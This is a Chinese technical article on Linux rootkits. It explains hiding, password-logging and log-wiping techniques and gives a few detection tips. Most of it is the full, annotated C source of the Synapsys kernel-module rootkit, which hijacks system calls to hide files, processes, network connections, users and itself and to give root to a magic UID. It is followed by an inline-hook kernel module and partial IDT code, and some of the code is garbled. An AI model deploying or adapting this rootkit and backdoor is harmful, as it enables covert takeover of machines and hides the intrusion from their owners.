精华内容
下载资源
问答
  • Rootkit

    2020-05-22 23:39:34
    rootkit介绍 Rootkit可以隐藏文件,进程,甚至程序,就如同他们没有在计算机上安装。也可以用来隐藏用户的文件,甚至可以隐藏操作系统本身,故Rootkit最大的功能就是隐藏文件,可以躲过杀毒软件的查杀。 一般使用...

    rootkit介绍

    Rootkit可以隐藏文件,进程,甚至程序,就如同他们没有在计算机上安装。也可以用来隐藏用户的文件,甚至可以隐藏操作系统本身,故Rootkit最大的功能就是隐藏文件,可以躲过杀毒软件的查杀。

    一般使用Rootkit进行提权,记录键盘,安装后门,以及其他的恶意任务。之所以能躲过检测,是因为Rootkit运行在操作系统中的内核,可以与用户进行的交互软件,通常其功能是在系统中较高层上实现的。

    有些Rootkit深埋在操作系统的内部,可以通过拦截软件和操作系统之间的请求进行工作。

    Rootkit是在已经完成漏洞利用的系统上传某些东西,一般用于隐藏文件或程序,并保持后门访问的隐蔽性。

    Rootkit的检测与防御

    1. 配置和安装Rootkit需要使用管理员权限,所以要降低用户的权限
    2. 虽然Rootkit运行在内核,但是旧的或不太复杂的还是能被发现的,所以要经常杀毒,更新病毒库
    3. 监控流出的流量,不只是监控流入的流量
    4. 定期对系统进行端口扫描,如果发现开启了一个未知端口,注意
    5. 通过从另一个系统启动,挂载硬盘,然后杀毒扫描,最好的办法重做系统
      rootkit的主要分类:

    应用级->内核级->硬件级

    早期的rootkit主要为应用级rootkit,应用级rootkit主要通过替换login、ps、ls、netstat等系统工具,或修改.rhosts等系统配置文件等实现隐藏及后门;硬件级rootkit主要指bios rootkit,可以在系统加载前获得控制权,通过向磁盘中写入文件,再由引导程序加载该文件重新获得控制权,也可以采用虚拟机技术,使整个操作系统运行在rootkit掌握之中;目前最常见的rootkit是内核级rootkit。

    内核级rootkit又可分为lkm rootkit、非lkm rootkit。lkm rootkit主要基于lkm技术,通过系统提供的接口加载到内核空间,成为内核的一部分,进而通过hook系统调用等技术实现隐藏、后门功能。非lkm rootkit主要是指在系统不支持lkm机制时修改内核的一种方法,主要通过/dev/mem、/dev/kmem设备直接操作内存,从而对内核进行修改。

    非lkm rootkit要实现对内核的修改,首先需要获得内核空间的内存,因此需要调用kmalloc分配内存,而kmalloc是内核空间的调用,无法在用户空间直接调用该函数,因此想到了通过int 0x80调用该函数的方法。先选择一个不常见的系统调用号,在sys_call_table中找到该项,通过写/dev/mem直接将其修改为 kmalloc函数的地址,这样当我们在用户空间调用该系统调用时,就能通过int 0x80进入内核空间,执行kmalloc函数分配内存,并将分配好的内存地址由eax寄存器返回,从而我们得到了一块属于内核地址空间的内存,接着将要 hack的函数写入该内存,并再次修改系统调用表,就能实现hook系统调用的功能。

    rootkit的常见功能:

    隐藏文件:通过strace ls可以发现ls命令其实是通过sys_getdents64获得文件目录的,因此可以通过修改sys_getdents64系统调用或者更底层的 readdir实现隐藏文件及目录,还有对ext2文件系统直接进行修改的方法,不过实现起来不够方便,也有一些具体的限制。

    隐藏进程:隐藏进程的方法和隐藏文件类似,ps命令是通过读取/proc文件系统下的进程目录获得进程信息的,只要能够隐藏/proc文件系统下的进程目录就可以达到隐藏进程的效果,即hook sys_getdents64和readdir等。

    隐藏连接:netstat命令是通过读取/proc文件系统下的net/tcp和net/udp文件获得当前连接信息,因此可以通过hook sys_read调用实现隐藏连接,也可以修改tcp4_seq_show和udp4_seq_show等函数实现。

    隐藏模块:lsmod命令主要是通过sys_query_module系统调用获得模块信息,可以通过hook sys_query_module系统调用隐藏模块,也可以通过将模块从内核模块链表中摘除从而达到隐藏效果。

    嗅探工具:嗅探工具可以通过libpcap库直接访问链路层,截获数据包,也可以通过linux的netfilter框架在IP层的hook点上截获数据包。嗅探器要获得网络上的其他数据包需要将网卡设置为混杂模式,这是通过ioctl系统调用的SIOCSIFFLAGS命令实现的,查看网卡的当前模式是通过SIOCGIFFLAGS命令,因此可以通过hook sys_ioctl隐藏网卡的混杂模式。

    密码记录:密码记录可以通过hook sys_read系统调用实现,比如通过判断当前运行的进程名或者当前终端是否关闭回显,可以获取用户的输入密码。hook sys_read还可以实现login后门等其它功能。

    日志擦除:传统的unix日志主要在/var/log/messages,/var/log/lastlog,/var/run/utmp,/var /log/wtmp下,可以通过编写相应的工具对日志文件进行修改,还可以将HISTFILE等环境变设为/dev/null隐藏用户的一些操作信息。

    内核后门:可以是本地的提权后门和网络的监听后门,本地的提权可以通过对内核模块发送定制命令实现,网络内核后门可以在IP层对进入主机的数据包进行监听,发现匹配的指定数据包后立刻启动回连进程。

    rootkit的主要技术:

    lkm注射、模块摘除、拦截中断(0x80、0x01)、劫持系统调用、运行时补丁、inline hook、端口反弹……

    lkm注射:也是一种隐藏内核模块的方法,通过感染系统的lkm,在不影响原有功能的情况下将rootkit模块链接到系统lkm中,在模块运行时获得控制权,初始化后调用系统lkm的初始化函数,lkm注射涉及到elf文件格式与模块加载机制。

    模块摘除:主要是指将模块从模块链表中摘除从而隐藏模块的方法,最新加载的模块总是在模块链表的表头,因此可以在加载完rootkit模块后再加载一个清除模块将rootkit模块信息从链表中删除,再退出清除模块,新版本内核中也可以通过判断模块信息后直接list_del。

    拦截中断:主要通过sidt指令获得中断调用表的地址,进而获取中断处理程序的入口地址,修改对应的中断处理程序,如int 0x80,int 0x1等。其中拦截int 0x1是较新的技术,主要利用系统的调试机制,通过设置DR寄存器在要拦截的内存地址上下断点,从而在执行到指定指令时转入0x1中断的处理程序,通过修改0x1中断的处理程序即可实现想要的功能。

    劫持系统调用:和拦截中断类似,但主要是对系统调用表进行修改,可以直接替换原系统调用表,也可以修改系统调用表的入口地址。在2.4内核之前,内核的系统调用表地址是导出的,因此可以直接对其进行修改。但在2.6内核之后,系统调用表的地址已经不再导出,需要对0x80中断处理程序进行分析从而获取系统调用表的地址。

    运行时补丁:字符设备驱动程序和块设备驱动程序在加载时都会向系统注册一个Struct file_operations结构实现指定的read、write等操作,文件系统也是如此,通过修改文件系统的file_operations结构,可以实现新的read、write操作等。

    inline hook:主要是指对内存中的内核函数直接修改,而不影响原先的功能,可以采用跳转的办法,也可以修改对下层函数的call offset实现。

    端口反弹:主要是为了更好的突破防火墙的限制,可以在客户端上监听80端口,而在服务器端通过对客户端的80端口进行回连,伪装成一个访问web服务的正常进程从而突破防火墙的限制。
    这个rootkit应该都不陌生,功能相对很强大,也是lkm实现的rootkit的典型,通过对他代码的实际分析可以看出利用linux的lkm我们可以做很多很多有趣的木马程序。
    就象Berserker本人对这个rootkit的解释一样,它截获open,getuid,kill,fork,clone,write,
    query_module,getdents等系统调用,来实现针对特殊uid的root权限授予,隐藏自身文件,隐藏进程及其子进程和派生进程,隐藏netstat,finger,who等命令的输出,隐藏modules,呵呵。
    本文要求你最好具有基本的lkm内核编程知识,截获系统调用我不多说了,至于怎么从用户区来获得参数,以及如何在内核空间为用户区分配内存的问题,我这里简单介绍一下,因为它是lkm可以作为hacking kernel的关键。

    我们如何从用户区取得参数

    在《linux可装载内核完全指南》这篇文章中定义了几个实现方法,我这里重复一下,我自己也介绍一种可行的方法。
    好,我们来看看这个函数的定义:
    char *strncpy_fromfs(char *dest,const char *src,int n)
    {
    char *tmp=src;
    int compt=0;

     while((dest[compt-1]!='\0')&&(compt!=n));
     do {
     dest[compt++]=_get_user(tmp++,1);
     }
    
     return dest;
    

    }
    这是一个经典例程,函数返回用户区的字符串指针,关键是我们利用了get_user(…)这个核心函数,它的作用可以用来将数据从用户态移到内核空间,同样道理我们可以用mencpy_fromfs(char *dest,const char *src,int n)来移动数据。

    好,再给出第二个方法,copy_from_user(…),很简单,函数返回用户区数据指针,我们看一下核心代码给出的函数原型:
    static inline unsigned long
    __generic_copy_from_user_nocheck(void *to, const void *from, unsigned long n)
    {
    __copy_user_zeroing(to,from,n);
    return n;
    }
    这种也就是synapsys.c里面用的方法。

    我们如何在内核空间为用户函数分配内存空间

    这个问题我解释一下,还是相对于上面来说,我们依然用这个函数:mencpy_tofs(void *to,const void from,unsigned long count);但是我们如何在内核分配内存给to呢?我们通过brk调用于current->mm->brk来增加未使用的数据段大小。我们给current进程分配内存空间,用来拷贝内核空间到用户模式。需要用到的brk调用就需要我们自己构建了,很简单,参看核心代码:
    #define _syscall1(type,name,type1,arg1)
    type name(type1 arg1)
    {
    long __res;
    asm volatile (“int $0x80”
    : “=a” (__res)
    : “0” (_NR##name),“b” ((long)(arg1)));
    if (__res >= 0)
    return (type) __res;
    errno = -__res;
    return -1;
    }
    另外一种方法就是利用get_ds来获取用户数据段寄存器,然后把内核用来指向用户段的段选器设成需要的ds值就可以了,我们用set_fs(get_ds)来做到,具体这两个调用的实现参看核心代码。

    第三种方式就是synapsys.c中所用到的利用copy_to_user(…),前面已有所介绍,就不多说了。

    分析synapsys.c源代码

    /*********************************************************************************************************************

    • Synapsys-lkm version 0.4
    • coded by Berserker for Neural Collapse Crew [www.neural-collapse.org]
    • for questions, suggestions, bug report ----> berserker.ncl@infinito.it
    • 描述 : Synapsys 是一个针对linux内核版本为2.2.x的lkm的rootkit. 实现文件和目录的隐藏 , 进程隐藏
    • (包括子进程和派生进程), 隐藏netstat输出 (定义 port和host/ip/port/protocol变量), 以root特权来
    • 定义uid, 用户隐藏(finger/who/w), 模块本身的隐藏. 加载模块之后,你可以完全控制open()系统调用;
    • 可以任意激活/卸载, 可以改变隐藏文件的前缀, 在netstat输出里面屏蔽行信息以及隐藏用户列表。
    • Saluti e Ringraziamenti : norby , anyone, beholder, mandarine, asfalto, jerusalem
    • 编译方法: gcc -c -O3 -fomit-frame-pointer Synapsys.c

    *********************************************************************************************************************/
    #define MODULE
    #define KERNEL

    #if CONFIG_MODVERSIONS==1
    #define MODVERSIONS
    #include <linux/modversions.h>
    #endif

    #include <linux/module.h>
    #include <linux/mm.h>
    #include <linux/kernel.h>
    #include <linux/fs.h>
    #include <linux/dirent.h>
    #include <linux/proc_fs.h>
    #include <linux/stat.h>
    #include <linux/fcntl.h>
    #include <linux/if.h>
    #include <linux/smp_lock.h>
    #include <sys/syscall.h>
    #include <asm/uaccess.h>
    #include <asm/unistd.h>
    #include <asm/segment.h>
    #include <malloc.h>

    char magicword = “traboz”; / 通过open调用来控制lkm的关键字 /
    char file2hide[20] = “NCL_ph1l3”; /
    要隐藏的文件名包含的关键字 /
    char hiddenuser[20] = “Ncl”; /
    在finger/who/w等命令的输出里隐藏的user值 /
    char netstatstuff[20] = “host_or_ip_or_port”; /
    要隐藏的netstat命令的输出行 */

    #define HIDDEN_PORT “3012” /* 定义端口号为3012 /
    #define PF_INVISIBLE 0x00002000
    #define SIGNAL_INVISIBLE 32 /
    定义为隐藏进程发送的信号量 /
    #define MAGIC_UID 666 /定义MAGIC_UID值/
    #define LKM_NAME “Synapsys” /定义lkm程序的程序名,不多说了:)/
    #define M_UID_FUNC “muid” /
    定义为MAGIC_UID激活/卸载root特权的开关字(不知道这样解释是否理解,西西)/
    #define GETDENTS_FUNC “hidf” /
    定义激活/卸载隐藏文件及进程的开关字 /
    #define UNINST_LKM “unin” /
    卸载moudle*/
    #define NETSTAT_FUNC “hidn” /* 定义激活/卸除netstat命令输出的开关字 /
    #define FINGER_FUNC “hidu” /
    定义激活/卸除用户信息的开关字 /
    #define HIDELKM_FUNC “hidm” /
    定义激活/卸除lkm本身隐藏的开关字 */
    #define BE_VERBOSE_CMD “verbose” /捕捉每个关键的变量值/

    int uid_func = 1; /* 1代表激活状态,0代表非激活(卸除)状态,缺省是全部激活状态*/
    int hidf_func = 1;
    int nets_func = 1;
    int hidu_func = 1;
    int hidm_func = 1;

    extern void* sys_call_table[];/导出系统调用表/

    asmlinkage int (*real_open)(const char *, int ,int );/定义open调用/
    asmlinkage int (*real_getuid)(); /定义getuid调用/
    asmlinkage int (*real_getdents)(unsigned int, struct dirent *,unsigned int);/定义getdents调用/
    asmlinkage int (*real_kill)(int, int); /定义kill调用/
    asmlinkage int (*real_fork)(struct pt_regs);/定义fork调用/
    asmlinkage int (*real_clone)(struct pt_regs);
    asmlinkage int (*real_write)(unsigned int , char *, unsigned int);
    asmlinkage int (*real_query_module)(const char *, int, char *, size_t, size_t *);

    asmlinkage void cleanup_module(void);
    /我们要替换的open调用/
    asmlinkage int hack_open(const char *pathname, int flag, int mod) {
    /这个asmlinkage定义,我费了很大的心思理解,后来在核心代码的socket.c中找到了,是一个内联函数,
    主要是gcc在编译的时候连接asm代码
    /
    char *k_pathname;
    char *x,*cmd,*tmp,arg;
    int i = 0;
    k_pathname = (char
    ) kmalloc(256, GFP_KERNEL);

    copy_from_user(k_pathname, pathname, 255);/从用户区得到pathname值到内核空间/
    x = strstr(k_pathname, magicword); /检查pathname里面有没有我们想要隐藏的东东/
    if ( x ) {
    tmp = &x[strlen(magicword)];
    if (strlen(tmp) >= 4) {
    if (strlen(tmp) > 4)
    arg = &tmp[4];
    else arg = 0;
    cmd = strncpy(cmd, tmp, 4);
    cmd[4] = ‘\0’;
    if (strcmp(cmd,M_UID_FUNC) == 0) {
    if (arg == 0) {
    if (uid_func == 1) uid_func–;
    else uid_func++;
    }
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)
    printk(“the value of uid_func is : %d\n”,uid_func);
    }
    else if (strcmp(cmd,GETDENTS_FUNC) == 0) { /确定隐藏文件本身的目录列表显示/
    if (arg == 0) {
    if (hidf_func) hidf_func–;
    else hidf_func++;
    }
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)
    printk("the value of hidf_func is : %d the hidden files prefix is : %s\n ",hidf_func,file2hide);
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD)) {
    memset(file2hide,0,sizeof(file2hide));
    strncpy(file2hide,arg,strlen(arg));
    }
    }
    else if (strcmp(cmd,NETSTAT_FUNC) == 0) { /确定隐藏netstat的输出行/
    if (arg == 0) {
    if (nets_func == 1) nets_func–;
    else nets_func++;
    }
    else if(strcmp(arg,BE_VERBOSE_CMD) == 0) {
    printk(“the value of nets_func is : %d the hidden port is: %s are hidden lines that contains %s too\n”
    ,nets_func, HIDDEN_PORT, netstatstuff );
    }
    else if (strcmp(arg,BE_VERBOSE_CMD) != 0) {
    memset(netstatstuff,0,sizeof(netstatstuff));
    strncpy(netstatstuff,arg,strlen(arg));
    }
    }
    else if(strcmp(cmd,FINGER_FUNC) == 0) { /确定隐藏finger输出/
    if (arg == 0) {
    if (hidu_func == 1) hidu_func–;
    else hidu_func++;
    }
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)
    printk(“the value of hidu_func is : %d the hidden user is %s\n”, hidu_func, hiddenuser);
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD)) {
    memset(hiddenuser,0,sizeof(hiddenuser));
    strncpy(hiddenuser,arg,strlen(arg));
    }
    }
    else if(strcmp(cmd,HIDELKM_FUNC) == 0) { /确定隐藏自身模块/
    if (arg == 0) {
    if (hidm_func == 1) hidm_func–;
    else hidm_func++;
    }
    else if (arg != 0&& strcmp(arg,BE_VERBOSE_CMD) == 0)
    printk(“the value of hidm_func is : %d the module name hidden is : %s\n”,hidm_func, LKM_NAME);
    }

      else if (!strcmp(cmd,UNINST_LKM)) {
    printk("unistalling %s\n",LKM_NAME);
    cleanup_module();
      }
      
    }
    kfree(k_pathname);                         /*释放内核内存空间*/
    return (real_open(pathname, flag, mod));
    

    }

    else {
    kfree(k_pathname);
    return(real_open(pathname, flag, mod));
    }
    }
    /开始截获调用!/
    asmlinkage int hack_getuid() { /截获getuid调用/
    int a;

    if(uid_func == 1 && current->uid == MAGIC_UID ) {
    
      current->uid = 0;
      current->euid = 0;
      current->gid = 0;
      current->egid = 0;
      return 0;
    
    }
    

    /解释一下,怎么来截获呢?我大概讲一下,主要大家还是要看一下lkm的实现原理,
    接获这个调用的意思是:当指向当前进程的指针current->uid为我们前面所确定的
    MAGIC_UID的值的时候,也就是我们以这个MAGIC_UID登陆系统的是后,使当前进程的
    uid,euid,gid,egid都为0,应该知道这意味这什么吧?西西
    /
    a = real_getuid();
    return a; /用回真实的getuid调用/

    }
    asmlinkage int my_atoi (char *str) {
    int ret = 0;
    int i;
    for(i = 0; str[i] >=‘0’ && str[i] <=‘9’; ++i)
    ret = 10 * ret + str[i] - ‘0’;
    return ret;
    }
    /该隐藏我们进程的任务列表结构啦/
    asmlinkage inline char *task_name(struct task_struct *p, char *buf) {
    int i;
    char *name;
    name = p->comm;
    i=sizeof(p->comm);
    do {
    unsigned char c = *name;
    name++;
    i–;
    *buf = c;
    if (!c)
    break;
    if (c == ‘\’) {
    buf[1] = c;
    buf += 2;
    continue;
    }
    if (c == ‘\n’) {
    buf[0] = ‘\’;
    buf[1] = ‘n’;
    buf += 2;
    continue;
    }
    buf++;
    }
    while(i);
    *buf = ‘\n’;
    return buf + 1;
    }
    /取得pid/
    struct task_struct *get_task(pid_t pid) {
    struct task_struct *p = current;
    do {
    if (p->pid == pid) return p;
    p = p->next_task;
    }
    while (p != current);
    return NULL;
    }
    /隐藏pid!/
    asmlinkage int is_invisible(pid_t pid) {

    struct task_struct *task = get_task(pid);
    if (task == NULL) return 0;
    if (task->flags & PF_INVISIBLE) return 1;
    return 0;
    }
    /截获kill调用,当调用kill来发信号给我们uid或euid时,就返回一个没有该进程的信息/
    asmlinkage int hack_kill(pid_t pid, int sig) {

    struct task_struct *task = get_task(pid);

    if(task == NULL)
    return(-ESRCH);

    else if(current->uid && current->euid)
    return(-EPERM);

    else if (sig == SIGNAL_INVISIBLE) {
    task->flags |= PF_INVISIBLE;
    }
    else {
    return (*real_kill)(pid, sig);
    }

    }
    /截获fork调用,隐藏派生的子进程/
    asmlinkage int hack_fork(struct pt_regs regs) {

    struct task_struct *task;
    pid_t pid;
    int h = 0;

    pid = real_fork(regs);
    task = get_task(pid);

    if (is_invisible(current->pid))
    h++;
    if (h && pid >= 0) {

    if (task == NULL)
      return -ESRCH;
    if (pid <= 1)
      return -1;
    
    task->flags |= PF_INVISIBLE;
    

    }
    return pid ;
    }

    asmlinkage int hack_clone(struct pt_regs regs) {

    struct task_struct *task;
    pid_t pid;
    int h = 0;

    pid = real_clone(regs);
    task = get_task(pid);

    if (is_invisible(current->pid))
    h++;
    if (h && pid >= 0) {

    if (task == NULL)
      return -ESRCH;
    if (pid <= 1)
      return -1;
    
    task->flags |= PF_INVISIBLE;
    

    }
    return pid ;
    }
    /呵呵,开始隐藏我们的文件,接获getdents调用。这个截获很基础,就不多做注释了/
    asmlinkage int hack_getdents( unsigned int fd, struct dirent *dirp, unsigned int count) {

    unsigned int getdret,n;
    int x , proc = 0;
    struct inode *dinode;
    struct dirent *dirp2, *dirp3;
    char *hiddenfile = file2hide; /定义我们要隐藏的文件名/

    getdret = (*real_getdents)(fd,dirp,count);
    /定义目录节点/
    #ifdef __LINUX_DCACHE_H
    dinode = current->files->fd[fd]->f_dentry->d_inode;
    #else
    dinode = current->files->fd[fd]->f_inode;
    #endif

    if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) &&
    MINOR(dinode->i_dev) == 1) proc++;

    if (getdret > 0 ) {

     dirp2 = (struct dirent *) kmalloc(getdret, GFP_KERNEL);
     copy_from_user(dirp2, dirp, getdret);/*获取用户区参数*/
     dirp3 = dirp2;
     x = getdret ;
    
     while (x > 0) {
    
       n = dirp3->d_reclen;
       x -= n;
    
       if (((strstr ((dirp3->d_name), hiddenfile) != NULL ||
         (proc && is_invisible(my_atoi(dirp3->d_name))))  && hidf_func )) {
    
     if (x != 0)
       memmove (dirp3, (char *) dirp3 + dirp3->d_reclen, x);
         else
       dirp3->d_off = 1024;
         getdret -= n;
       }
       if(dirp3->d_reclen == 0) {
     getdret -= x;
     x = 0;
       }
       if ( x != 0)
     dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
     }
     copy_to_user(dirp, dirp2, getdret);
     kfree(dirp2);
    

    }
    return getdret;
    }
    /截获write调用/
    asmlinkage int hack_write(unsigned int fd, char *buf,unsigned int count) {

    char *k_buf;
    char *user = hiddenuser;
    char *whtvr = netstatstuff;

    if (strcmp(current->comm,“netstat” ) != 0 && strcmp(current->comm, “finger”) != 0 && strcmp(current->comm, “w”) != 0 && strcmp(current->comm, “who”) )
    return real_write(fd, buf, count);

    if ((strcmp(current->comm, “netstat”) == 0) && nets_func) {
    k_buf = (char *) kmalloc(2000, GFP_KERNEL);
    memset(k_buf,0,2000);
    copy_from_user (k_buf, buf, 1999);
    if (strstr(k_buf,HIDDEN_PORT) || strstr(k_buf,whtvr) ) {/检查是否是有我们要隐藏的netstat行/
    kfree(k_buf);
    return count;
    }
    kfree(k_buf);
    }

    if ((strcmp(current->comm, “finger”) == 0 || strcmp(current->comm, “w”) || strcmp(current->comm, “who”)) && hidu_func) {
    k_buf = (char *) kmalloc(2000, GFP_KERNEL);/在内核分配内存空间/
    memset(k_buf,0,2000);
    copy_from_user (k_buf, buf, 1999); /从用户区获得参数/
    if (strstr(k_buf,user)) { /从finger输出找出我们的用户标示/
    kfree(k_buf);
    return count;
    }
    kfree(k_buf);
    }
    return real_write(fd, buf,count);

    }
    /截获query_module调用来隐藏模块自身/
    asmlinkage int hack_query_module(const char *name, int which, char *buf, size_t bufsize, size_t *ret) {

    int r, a;
    char *ptr, *match;

    r = real_query_module(name, which, buf, bufsize, ret);

    if (r == -1)
    return -ENOENT;
    if (which != QM_MODULES)
    return r;

    ptr = buf;

    for (a = 0; a < *ret; a++) {
    if (!strcmp(LKM_NAME, ptr) && hidm_func) {
    match = ptr;
    while (*ptr)
    ptr++;
    ptr++;
    memcpy(match, ptr, bufsize -(ptr -(char *)buf));
    (*ret)–;
    return r;
    }
    while (*ptr)
    ptr++;
    ptr++;
    }
    return r;
    }

    /开始加载我们的内核模块!/
    int init_module(void){

    real_open=sys_call_table[SYS_open];/保存原open调用/
    sys_call_table[SYS_open]=hack_open;/截获!/

    real_getuid=sys_call_table[SYS_getuid];/保存原getuid调用/
    sys_call_table[SYS_getuid]=hack_getuid;/截获/

    real_getdents=sys_call_table[SYS_getdents];/保存原getdents调用/
    sys_call_table[SYS_getdents]=hack_getdents;/截获!/

    real_kill=sys_call_table[SYS_kill];/保存原kill调用/
    sys_call_table[SYS_kill]=hack_kill;/截获!/

    real_fork=sys_call_table[SYS_fork];/保存原fork调用/
    sys_call_table[SYS_fork]=hack_fork;/截获!/

    real_clone=sys_call_table[SYS_clone];/保存原clone调用/
    sys_call_table[SYS_clone]=hack_clone;/截获/

    real_write=sys_call_table[SYS_write];/保存write调用/
    sys_call_table[SYS_write]=hack_write;/截获/

    real_query_module=sys_call_table[SYS_query_module];/保存原query_module调用/
    sys_call_table[SYS_query_module]=hack_query_module;/截获/

    return 0;

    }
    void cleanup_module(void){ /卸载/

    sys_call_table[SYS_open]=real_open;
    sys_call_table[SYS_getuid]=real_getuid;
    sys_call_table[SYS_getdents]=real_getdents;
    sys_call_table[SYS_kill]=real_kill;
    sys_call_table[SYS_fork]=real_fork;
    sys_call_table[SYS_clone]=real_clone;
    sys_call_table[SYS_write]=real_write;
    sys_call_table[SYS_query_module]=real_query_module;

    }

    通过hook Linux内核函数,监控进程/线程创建与销毁

    asmlinkage int sys_fork(struct pt_regs regs)  
    {  
        return do_fork(SIGCHLD, regs.esp, ®s, 0, NULL, NULL);  
    }  
      
    asmlinkage int sys_clone(struct pt_regs regs)  
    {  
        unsigned long clone_flags;  
        unsigned long newsp;  
        int __user *parent_tidptr, *child_tidptr;  
      
        clone_flags = regs.ebx;  
        newsp = regs.ecx;  
        parent_tidptr = (int __user *)regs.edx;  
        child_tidptr = (int __user *)regs.edi;  
        if (!newsp)  
            newsp = regs.esp;  
        return do_fork(clone_flags, newsp, ®s, 0, parent_tidptr, child_tidptr);  
    }  
      
    /* 
     * This is trivial, and on the face of it looks like it 
     * could equally well be done in user mode. 
     * 
     * Not so, for quite unobvious reasons - register pressure. 
     * In user mode vfork() cannot have a stack frame, and if 
     * done by calling the "clone()" system call directly, you 
     * do not have enough call-clobbered registers to hold all 
     * the information you need. 
     */  
    asmlinkage int sys_vfork(struct pt_regs regs)  
    {  
        return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, regs.esp, ®s, 0, NULL, NULL);  
    }  
    

    do_fork 和 do_exit 的代码

    fastcall NORET_TYPE void do_exit(long code)  
    {  
        struct task_struct *tsk = current;  
        struct taskstats *tidstats;  
        int group_dead;  
        unsigned int mycpu;  
      
        profile_task_exit(tsk);  
      
        WARN_ON(atomic_read(&tsk->fs_excl));  
      
        ...  
    }//任何进程进入这个函数就是死定了,上下文到这里就没有了  
      
    long do_fork(unsigned long clone_flags,  
        ...  
    {  
        struct task_struct *p;  
        int trace = 0;  
        struct pid *pid = alloc_pid();  
      
        ...  
      
        p = copy_process(clone_flags, stack_start, regs, stack_size, parent_tidptr, child_tidptr, nr);  
      
        if (!IS_ERR(p)) {  
      
            ...  
      
        } else {  
            free_pid(pid);  
            nr = PTR_ERR(p);  
        }  
        return nr;  
    }  
    

    代码do_exit会调用到profile_task_exit,并且进程是必死的。。。
    do_fork会调用copy_process复制进程,如果copy_process成功,进程就创建成功了,最后把PID值返回回去

    SO,只需要把这两次函数调用的call语句修改了就能监控全部的创建与销毁了。

    最后实现代码如下:

    #include <linux/kernel.h>  
    #include <linux/module.h>  
    #include <linux/err.h>  
    #include <linux/smp_lock.h>  
      
    MODULE_LICENSE("GPL");  
      
    #define _FORK_copy_process 0xc04234f9  
    #define _EXIT_profile_task_exit 0xc04268cf  
    #define _DO_EXIT_ 0xc0427ec1  
    #define _DO_FORK_ 0xc0424944 //从 /boot/System.map-$(uname -r) 能找到这些地址  
      
    //CR0的宏,网上扒的  
    #define CLEAR_CR0    asm ("pushl %eax\n\t"             \  
    "movl %cr0, %eax\n\t"        \  
    "andl $0xfffeffff, %eax\n\t"     \  
    "movl %eax, %cr0\n\t"        \  
    "popl %eax");  
      
    #define SET_CR0        asm ("pushl %eax\n\t"             \  
    "movl %cr0, %eax\n\t"         \  
    "orl $0x00010000, %eax\n\t"     \  
    "movl %eax, %cr0\n\t"        \  
    "popl %eax");  
      
    struct task_struct *(*orig_copy_process)(unsigned long clone_flags,  
                        unsigned long stack_start,  
                        struct pt_regs *regs,  
                        unsigned long stack_size,  
                        int __user *parent_tidptr,  
                        int __user *child_tidptr,  
                        int pid); //从内核源代码复制过来的函数声明  
      
    static struct task_struct *my_copy_process(unsigned long clone_flags,  
                        unsigned long stack_start,  
                        struct pt_regs *regs,  
                        unsigned long stack_size,  
                        int __user *parent_tidptr,  
                        int __user *child_tidptr,  
                        int pid)  
    {  
        struct task_struct * ret;  
        ret = (*orig_copy_process)(clone_flags,stack_start,regs,stack_size,parent_tidptr,child_tidptr,pid);  
        if(!IS_ERR(ret))  
            printk("---z---\tPID:%d fork %d successed!\n",current->pid,pid);  
        else  
            printk("---z---\tPID:%d fork %d failed!\n",current->pid,pid);  
        return ret;  
      
    }  
      
    void (*orig_profile_task_exit)(struct task_struct * task);  
      
    void my_profile_task_exit(struct task_struct * task)  
    {//这个函数不是每个内核都有的,在CONFIG_PROFILING=n的情况下编译的内核,profile_task_exit不存在的,但是呢,在centos 5.5的内核里面是有的,管其他呢。。。。  
        printk("---z---\tPID:%d exited!\n",current->pid);  
    }  
      
    static int replace_fun(unsigned long handle, unsigned long old_fun, unsigned long new_fun)  
    {  
        unsigned char *p = (unsigned char *)handle;  
        int i = 0;  
        while(1)  
        {  
            if(i++ > 128)  
                return 0;  
            if(*p == 0xe8)  
            {//e8是GCC编译出来的普通函数调用的call,当然也可能是某个立即数里面的一个字节  
                if((*(int *)(p+1) + (unsigned long)p + 5) == old_fun)  
                {//so需要看下看e8后面是不是老地址的偏移值,是的话替换掉  
                    *(int *)(p+1) = new_fun - (unsigned long)p - 5;  
                    return 1;  
                }  
            }  
            p++;  
        }  
    }  
      
    static int _init_module(void ) {  
        printk("---z---\t+++++++++++\n");  
        orig_copy_process = _FORK_copy_process;  
        orig_profile_task_exit = _EXIT_profile_task_exit;  
        lock_kernel();  
        CLEAR_CR0  
        replace_fun(_DO_FORK_, _FORK_copy_process, (unsigned long)my_copy_process);  
        replace_fun(_DO_EXIT_, _EXIT_profile_task_exit, (unsigned long)my_profile_task_exit);  
        SET_CR0  
        unlock_kernel();  
        return 0;  
    }  
      
      
    static void _cleanup_module(void) {  
        printk("---z---\t---------\n");  
        lock_kernel();  
        CLEAR_CR0  
        replace_fun(_DO_FORK_, (unsigned long)my_copy_process, _FORK_copy_process);  
        replace_fun(_DO_EXIT_, (unsigned long)my_profile_task_exit, _EXIT_profile_task_exit);  
        SET_CR0  
        unlock_kernel();  
    }  
      
    module_init(_init_module);  
    module_exit(_cleanup_module);  
    

    装载卸载内核,dmesg看输出

    ---z--- +++++++++++  
    ---z--- PID:12668 exited!  
    ---z--- PID:642 fork 12671 successed!  
    ---z--- PID:12671 exited!  
    ---z--- PID:4422 fork 12672 successed!  
    ---z--- PID:12672 exited!  
    ---z--- PID:6992 fork 12673 successed!  
    ---z--- PID:11 fork 12674 successed!  
    ---z--- PID:12674 fork 12675 successed!  
    ---z--- PID:12675 exited!  
    ---z--- PID:12674 exited!  
    ---z--- ---------  
    
    > #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <errno.h>
    #include <sys/mman.h>
    
    #define CALLOFF 100 //读取100字节
     
    struct {
      unsigned short limit;
      unsigned int base;
    } __attribute__ ((packed)) idtr;  //这个结构表示IDTR寄存器,这个寄存器中保存中断描述符表 的地址
     
     
    struct {
      unsigned short off1;
      unsigned short sel;
      unsigned char none,flags;
      unsigned short off2;
    } __attribute__ ((packed)) idt;  //中断描述符表中的内容:中断门描述符
     
     
